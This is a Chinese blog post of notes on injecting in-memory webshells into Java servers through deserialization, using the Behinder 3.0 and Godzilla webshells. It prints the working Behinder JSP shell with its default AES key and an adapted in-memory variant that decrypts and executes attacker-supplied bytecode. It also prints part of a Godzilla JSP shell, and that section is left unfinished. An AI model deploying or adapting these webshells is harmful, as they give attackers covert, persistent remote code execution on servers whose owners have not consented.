冰蝎与哥斯拉在反序列化中如何注入内存马以及注意点

前言:冰蝎与蚁剑在反序列化中如何注入内存马的笔记

冰蝎反序列化内存马

我们这里以冰蝎3.0的jsp木马来进行观察,如下代码所示

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }

        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
%><%
    if (request.getMethod().equals("POST")) {
        String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
        session.putValue("u", k);
        Cipher c = Cipher.getInstance("AES");
        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
        new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
    }
%>

这里重点看的就是下面这段代码,每次服务端主机当接收到了客户端发过来的字节码都会将其通过类加载器进行defineclass加载类对象,然后将其实例化并且调用equals方法

new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);

那么这个equals方法是什么呢,这里可以在冰蝎源码中看到,对应包路径为net.rebeyond.behinder.payload.java

这里拿其中的一个来BasicInfo模块讲解,其他的功能模块的结构都是一样,唯一不一样的就是实现不同功能的代码不一样

可以看到这里的equals也就是服务端加载实例化之后要执行的equals方法,参数为pageContext对象

pageContext对象是JSP中很重要的一个内置对象,不过在一般的JSP程序中,很少用到它。它是javax.servlet.jsp.PageContext类的实例对象

而在java内存马中,我们拿不到jsp中的PageContext对象,那么我们可以如何操作?这里的话冰蝎自身提供了一种方法使用

冰蝎对于pageContext的解决方法

这里可以看下对于服务端是如何处理pageContext对象的,还是拿net.rebeyond.behinder.payload.java.BasicInfo举例,代码如下图所示

可以看到当客户端发送payload(恶意字节码)给服务端之后,服务端在defineClass实例化class,调用equals方法的时候对传入的pageContext对象会进行两种情况下的判断

  • 如果传过来的obj是pageContext对象,则通过反射来进行获取pageContext对象中的Request,Response,Session(jsp的情况)

  • 如果传过来的obj不是PageContext对象,则当作为Map对象来进行处理,手动get获取Map对象中的Request,Response,Session(内存马的情况)

   private void fillContext(Object obj) throws Exception {
      if (obj.getClass().getName().indexOf("PageContext") >= 0) {
         this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
         this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
         this.Session = obj.getClass().getMethod("getSession").invoke(obj);
      } else {
         Map objMap = (Map)obj;
         this.Session = objMap.get("session");
         this.Response = objMap.get("response");
         this.Request = objMap.get("request");
      }
      this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
   }

所以对于注入内存马的时候我们就要走的就是下面这种情况

如果传过来的obj不是PageContext对象,则当作为Map对象来进行处理,手动get获取Map对象中的Request,Response,Session(内存马的情况)

需要理清楚的就是,我们注入的内存马此时应当是类似jsp的木马,那么这个时候内存马在处理客户端发过来的字节码进行实例化出来的对象的时候,这个时候这个对象在调用equals方法的时候就需要内存马自己去提供pageContext进行传入

所以冰蝎3内存马构造应该是如下代码

        if (request.getMethod().equals("POST")) {
            String k = "e45e329feb5d925b";
            HttpSession session = request.getSession();
            session.setAttribute("u", k);
            Cipher c = Cipher.getInstance("AES");
            c.init(2,new SecretKeySpec(k.getBytes(),"AES"));

            byte[] bytesDecrypted = c.doFinal(new Base64().decode(request.getReader().readLine()));
            Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            method.setAccessible(true);
            Class newClass = (Class) method.invoke(this.getClass().getClassLoader(), bytesDecrypted,0, bytesDecrypted.length);

            Map<String, Object> pageContext = new HashMap<String, Object>();
            pageContext.put("session", session);
            pageContext.put("request", request);
            pageContext.put("response", response);
            newClass.newInstance().equals(pageContext);

关于springboot中封装类导致的连接失败

该问题已经在冰蝎4已经进行了修复,修复代码如下图所示

这里的话大致的提下就可以了,如下图所示

XXXXXXXXXXXXXXXXXXXXXXXX

哥斯拉反序列化内存马

我们这里以哥斯拉生成的java_aes_base64.jsp来进行观察,如下代码所示

代码如下所示:

<%
    try {
        byte[] data = base64Decode(request.getParameter(pass));
        data = x(data, false);
        if (session.getAttribute("payload") == null) {
            session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
        } else {
            request.setAttribute("parameters", data);
            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
            Object f = ((Class) Class.forName("payload")).newInstance();
            f.equals(arrOut);
            f.equals(pageContext);
            response.getWriter().write(md5.substring(0, 16));
            f.toString();
            response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
            response.getWriter().write(md5.substring(16));
        }
    } catch (Exception e) {
    }
%>

有时间补上,最近护网和学校比赛事情有点多

posted @ 2022-08-04 14:54  zpchcbd  阅读(4825)  评论(0)    收藏  举报